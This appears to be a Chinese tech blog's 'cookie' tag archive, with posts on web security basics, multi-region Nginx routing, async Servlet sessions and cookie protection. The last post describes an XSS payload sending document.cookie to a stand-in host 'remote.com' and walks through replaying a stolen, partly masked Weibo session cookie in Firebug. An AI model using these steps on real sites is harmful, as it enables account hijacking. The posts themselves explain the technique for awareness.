标签归档:cookie

『大型网站技术架构:核心原理与案例分析』(六)

『大型网站技术架构:核心原理与案例分析』读书笔记系列:
(一):架构演化、模式、要素
(二):高性能架构
(三):高可用架构
(四):可伸缩架构
(五):可扩展架构
(六):安全性架构


『大型网站技术架构』(六):安全性架构

一、网站应用攻击与防御

1. XSS攻击

跨站脚本攻击(Cross Site Script, XSS)指攻击者通过篡改网页,注入恶意HTML脚本,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。

  • 反射型: 攻击者诱使用户点击一个嵌入恶意脚本的链接,达到攻击目的。
  • 持久型:攻击者提交含有恶意脚本的请求,保存在被攻击的Web站点数据库中,用户浏览网页时,恶意脚本被包含在正常的页面中,达到攻击目的。

防御手段:

  • 消毒:特殊字符('<','>'等)转义。
  • HttpOnly: 不能避免XSS,但是能避免攻击者通过XSS获取Cookie,导致敏感信息泄露。

2. 注入攻击

两种形式:SQL注入攻击、OS注入攻击。本质是将数据当做程序执行。

攻击者如何获取数据库表结构信息?

  • 开源:表结构本身公开。
  • 错误回显:服务器500错误回显到浏览器。
  • 盲注:攻击者根据页面变化情况判断SQL语句的执行情况,据此猜测数据库表结构。

防御手段:

  • 消毒:过滤数据中可能注入的SQL。
  • 参数绑定:预编译(两大好处:1.提升性能,2.防止SQL注入)

3. CSRF攻击

跨站请求伪造(Cross Site Request Forgery, CSRF)指攻击者通过跨站请求,以合法用户的身份进行非法操作。核心是利用浏览器Cookie或服务器Session策略盗取用户身份。

防御手段:识别请求者身份

  • 表单Token: 每次页面请求,服务器写入一个随机数到Cookie,下次页面表单提交,表单域携带随机数,服务器端以此判断Cookie中随机数与表单域中值是否一致。这个方法有效的前提是Cookie不泄露,否则不生效。CSRF配合XSS攻击盗取Cookie会带来严重后果。
  • 验证码:用户体验不好。
  • Referer cheker:判断Referer域中请求来源是否合法。

4. 其他攻击和漏洞

  • Error Code: 服务器端500错误异常信息直接显示在浏览器。
  • HTML注释
  • 文件上传:上传不可靠文件类型。
  • 路径遍历:URL路径部分填入相对路径,暴露服务器文件系统。

二、信息加密技术及密钥安全管理

1. 加密技术

  • 单项散列加密
  • 对称加密
  • 非对称加密

单向散列加密

通过对不同输入长度信息进行散列计算,得到固定长度输出,不可逆。

常见算法:MD5、SHA

对称加密

加密和解密使用的密钥是同一个(或者可以互相推算)。算法简单,加解密效率高,系统开销小,适合大量数据加密,如何保存密钥是个难题。

常见算法:DES、RC

非对称加密

加密和解密使用的密钥不是同一个。安全性高。

常见算法:RSA

2. 密钥安全管理

  • 密钥和算法放在一个独立的服务器上,甚至做成一个专用硬件设施,对外提供加密和解密服务,应用系统通过调用这个服务实现加解密。
  • 加解密算法放在应用系统中,密钥放在独立服务器,并且密钥分片存储,分别由专人保管。

三、信息过滤和反垃圾

  • 文本匹配:Trie算法、多级Hash表
  • 分类算法:数据挖掘、贝叶斯分类算法
  • 黑名单:Hash表(精确)、布隆过滤器(不完全精确)

四、电子商务风险控制

1. 风险

  • 账户风险
  • 买家风险
  • 卖家风险
  • 交易风险

2. 风控

  • 规则引擎:业务规则和规则处理逻辑相分离。规则处理逻辑写好后,由运营人员负责通过页面编辑规则。
  • 统计模型:数据挖掘、机器学习

--EOF--

多Region应用系统设计和部署

有一个Web应用系统,需要跨Region部署,每个Region依赖的底层服务各不相同,但是要求是入口统一、单点登录(SSO)。一些较大的业务平台(商务领航)、监控平台、云计算平台(aws)应该都有类似需求。整体结构如下图所示:
multi-regions

用户通过mydomain.com入口进入系统,登陆后可选择进入不同Region,使用不同的后端服务(Service1,Service2...),并且可以随时通过页面选择进入其他Region。除非用户明确切换Region,否则每次请求总是落到相同Region上。

在设计方面,要实现上述系统,需关心以下几点:
1. 单点登陆。在没有可靠的集中式session服务器存在的情况下,将用户认证信息放在Cookie中是个较好的选择,去掉应用系统的状态,方便扩展,应用可以以集群的方式部署在任一Region里。这里意味着,当用户在任一Region登陆成功后,应用系统要向浏览器写认证Cookie,此后,用户无论在Region内部或者Region间跳转都可以不必重新登陆。

2. 底层服务去耦合。应用系统作为业务聚合的地方,需与底层服务尽量松耦合。一般底层服务以RESTful API的形式对外暴露接口,应用系统对其的依赖可以删减至最少,只需将其服务地址(IP+端口号)加入配置项即可。相同Region中的Tomcat集群使用相同配置文件,不同Region使用不同的配置文件。

3. 反向代理标记。架构图中可以看出前端有个Nginx作为反向代理,将请求代理到某个Region下Tomcat集群中的一个节点。Nginx实际上是个透明代理,应用系统必须通过一种方式将用户所选择的Region信息告知Nginx,才能保证每次用户请求落到相同Region上。最简单的做法当然是由应用系统将当前Region的id写入到REGION Cookie里,Nginx根据此Cookie值进行反向代理。也可以选择不侵入系统,应用系统只需给出第一推动力,比如给个参数,此后Nginx会一直将该参数传递下去,实现上述Cookie实现的功能。

在部署方面,主要涉及应用系统部署和Nginx部署:
1. 应用系统。应用系统只要做到了无状态,就可以很简单的以Tomcat集群方式对外提供服务。注意每个集群下的节点配置文件不同,主要是RegionId, 底层服务地址等有所区别。

2. Nginx。各个Tomcat集群中的节点负载均衡交给Nginx upstream模块实现,一个集群对应一段upstream配置,均衡策略根据需要选择。例如:

1
2
3
4
5
6
7
8
9
10
upstream region1 {
  server 10.10.1.1;
  server 10.10.1.2;
  server 10.10.1.3;
}
 
upstream region2 {
  server 10.10.2.1;
  server 10.10.2.2;
}

多Region的配置方面,要实现Region间切换,Nginx需支持根据regionid参数反向代理,要实现Region内停留,需支持根据Cookie值反向代理。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#省略部分配置
location / {
  if ($args ~ regionid=1){
    proxy_pass http://region1;
    break;
  }
  if ($args ~ regionid=2){
    proxy_pass http://region2;
    break;
  }
  if ($http_cookie ~* "REGION=1" ){
    proxy_pass http://region1;
    break;
  }
  if ($http_cookie ~* "REGION=2" ){
    proxy_pass http://region2;
    break;
  }
  proxy_pass http://region1;
 
  #省略部分配置
}

上述配置的含义是,当url中携带显式的regionid参数时,根据参数值代理到相应Region,该参数只有用户选择切换Region时才会携带。当url中不带regionid参数,则根据REGION Cookie的值进行反向代理。否则,Nginx默认将请求代理到默认Region上。

--EOF--

『淘宝技术这十年』

『淘宝技术这十年』读『淘宝技术这十年』有几点感受及收获:

1. 阿里(淘宝、支付宝)的花名是我认为的最能代表其公司文化的载体,一个个著名的武侠人物事迹被重新演绎,大牛工程师们赋予了这些名字不同的意义。这本半技术半休闲的书能看得如此酣畅淋漓,得部分归功于这些拉风的花名。不过,出名的武侠人物基本上都被早期员工占用了,现在入职的基本上很少能注册到著名ID了吧。

2. 淘宝的技术在业内已是翘楚,这是业务推进技术发展最典型的例子。淘宝的基础系统及中间件经过多轮演化,从最早的php架构转到Java系,再到分布式、服务化、模块化的层次结构,撑住一次次“双十一”考验,系统逐渐进化得越来越完善。所谓的形势造就英雄,就是这个道理吧。

3. 关于程序开发中框架的利用,我有自己的一些看法,作为一个初进职场的二年级新生,没有多少技术储备,过多地依赖框架会影响自己对底层实现的理解,要谨慎使用。现在各种框架层出不穷,你想要的任何基础服务,都已有现成的封装。如果选择的框架生命力不强,而自己又没有能力掌握它时,那么这种依赖就是一颗定时炸弹。我的研究生导师在这方面做得很极端,某个项目中需要用到队列数据结构,并且队列元素是一些基本数据类型,我随手就把STL用上了,哪知道他review时看到了,要我自己实现,给出的理由是这里队列使用场景简单没必要用STL这么重量的东西,而且出问题不好调试,得不偿失。

4. 技术上有个收获:现在在做的Web项目中,服务器端不维护Session,所有服务器端的状态信息(其实就是用户名、用户类型等简单信息)都存在Cookie中,浏览器的每次页面请求都携带这个Cookie,服务器端Filter判断当前请求是否有权限访问页面。我一直认为这种方式能保证每次请求响应无状态,加服务器即可线性扩展系统容量,用适量的CPU消耗(解密Cookie)可以换取极好的可扩展性。但是现在看来,它的一个缺点在于网络传输量上,假设一个用户维护状态的Cookie长度为2K(2K其实很正常,需要维护的服务器端信息越多,这个值就越大),那么当1亿PV产生的网络传输量就是200GB。对于需要支撑高并发的网站而言,这确实会是个问题。所以淘宝采用的方案是增加Session缓存服务器,集中式管理Session。

5. 另外还看到个心灵鸡汤:一个人如果把做事、做成事作为主要目标,该他得到的东西,一定会顺理成章的、水到渠成地得到,但是,如果把(职位)上升作为主要目标,做同样的事,结果就会完全不一样,你的心态会最终决定你的成就。这是正祥提到的,这个正祥,如果没推断错的话,就是我当初听闻的手下没人,自己一个人搞研究,每隔半年就能鼓捣出一个很牛逼的东西那个人。很是佩服。

--EOF--

异步Servlet (Servlet 3.0)的session机制

先从同步阻塞Servlet应用中的session机制实现说起,Java规范中定义session的类是HttpSession,通过HttpServletRequest.getSession()可以得到。用户第一次访问应用后,应用会在HttpServletResponse中设置Cookie,Cookie名称为JSESSIONID,值为一串随机数。下次用户再访问应用时,服务器就能通过Cookie中的JSESSIONID从服务器维护的Session映射表中拿到该用户的HttpSession。HttpSession中包含Map结构,可存储多种与当前用户相关的状态,HTTP服务器就是通过这种手段实现状态存储。所以,同一个浏览器(与是否多个tab页无关)打开的页面在服务器端只有一个HttpSession,通过HttpSession.getId()可获得该Session的ID,其值等于JSESSIONID。这种通过Session保存用户状态的方法在同步Servlet中没什么问题。

但是在异步Servlet (Servlet 3.0)中,由于HttpServletResponse通常情况下都会被挂起一段时间后再返回,会导致在第一个HttpServletResponse返回之前,所有访问应用的请求都会被当做新用户来对待,此时,服务器端调用HttpServletRequest.getSession(false)总会返回null,如果掉用HttpServletRequest.getSession()或HttpServletRequest.getSession(true),则每次都会返回一个新的HttpSession对象。这样必然会对用户状态的存储带来影响。有一个解决方案是在服务器端通过response.sendRedirect()来强制立即返回一次。sendRedirect是向浏览器返回302 Found,告诉浏览器访问的URL临时变更,新地址在响应头的Location中,让浏览器向新地址再请求一次,同时,JSESSIONID也被放置在Set-Cookie头中一同返回。此时浏览器的Cookie中就有JSESSIONID信息,随即发出的HTTP请求会携带JSESSIONID,服务器端程序通过JSESSIONID可匹配到HttpSession。这个过程中服务器端要做的就是将新地址通过sendRedirect告诉浏览器,Java代码如下:

1
2
3
4
5
6
if (request.getSession(false) == null) {
    request.getSession(true);
    response.sendRedirect(request.getRequestURI() + "?" 
        + request.getQueryString());
    return;
}

以上过程可通过Tomcat+curl模拟,用Tomcat7.0.35跑一个异步Servlet接口,客户端用curl测试,试验结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl -v  http://localhost/async?timestamp=136376159601
* About to connect() to localhost port 80 (#0)
*   Trying 127.0.0.1...
* connected
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /async?timestamp=136376159601 HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0
> Host: localhost
> Accept: */*
> 
< HTTP/1.1 302 Found
< Server: Apache-Coyote/1.1
< Set-Cookie: JSESSIONID=7D87ED786F18AE59F485D18F6F2094E3; Path=/; HttpOnly
< Location: http://localhost/async?timestamp=136376159601
< Content-Length: 0
< Date: Tue, 26 Mar 2013 11:57:59 GMT
< 
* Connection #0 to host localhost left intact
* Closing connection #0

此方法能解决异步Servlet开始阶段同一个用户请求Session总是不同的问题,其缺点是用户在第一次访问异步Servlet时,总会被强制重定向一次。不过相比它带来的好处,这点缺陷实在是可以忽略的。

--EOF--

保护Cookie的重要性

HTTP的无状态性使Cookie、Session成了Web应用的标配机制,一般来说Session是保存在服务器端,而SessionID存放在Cookie中,客户端每次请求都通过Cookie将SessionID传给服务器,再由服务器在Session列表中找到对应的Session,从而保持状态。

视业务的规模大小和用户同时在线的数量,服务器维护Session的成本可能变得非常巨大,很多大型互联网应用都会有专门的Session服务器。另一种变通的方法是把服务器维护Session的负担转移给客户端。具体做法是,对Session进行DES加密保存在Cookie中,浏览器访问网站时带上Cookie,服务器端只需解密Cookie就可以得到用户的Session。Session的过期时间可在Session结构体中加expire字段,也可通过Cookie的过期时间来控制。

无论Cookie中存放Session还是SessionID,一旦Cookie泄露,都会给用户带来安全隐患。『白帽子讲Web安全』列举了多种方式绕过浏览器同源策略获取用户Cookie的方法。有种通过XSS攻击盗取的方法印象深刻,如果A站点的URL参数中存在XSS漏洞,攻击者可引诱用户点击某个A站链接,这个链接的URL参数中包含XSS Payload,能加载远程站点remote.com的一段Javascript代码,JS代码要做的就是通过document.cookie获取写在A站点下的所有Cookie,然后利用类似IMG src属性这样的技巧通过GET remote.com/+escape(document.cookie)的方式将Cookie发送至远程站点,攻击者就可以在remote.com站上的日志中找到用户的Cookie了。

现在假如我已经通过某种方式得到了一个用户在某个站点的Cookie(无论从他PC上偷窥的,还是通过黑客手段获取的),例如网易微博。

1. 拿到Cookie: NTES_PASSPORT=wgNZDFFhecvX*******HIzupcwyJcl。
2. 打开火狐上的Firebug -> 选择Create Cookie。将Cookie的key和value分别填入,如下:

3. 刷新页面后,显示微博已登陆。如下:

P.S. Chrome浏览因为安全性方面的考虑,似乎禁止了本地修改Cookie,只允许Online Cookie,因此试图通过Postman, Simple REST Client等扩展设置HTTP Cookie Header都不会成功,也就看不到通过Cookie直接登陆的效果了。

--EOF--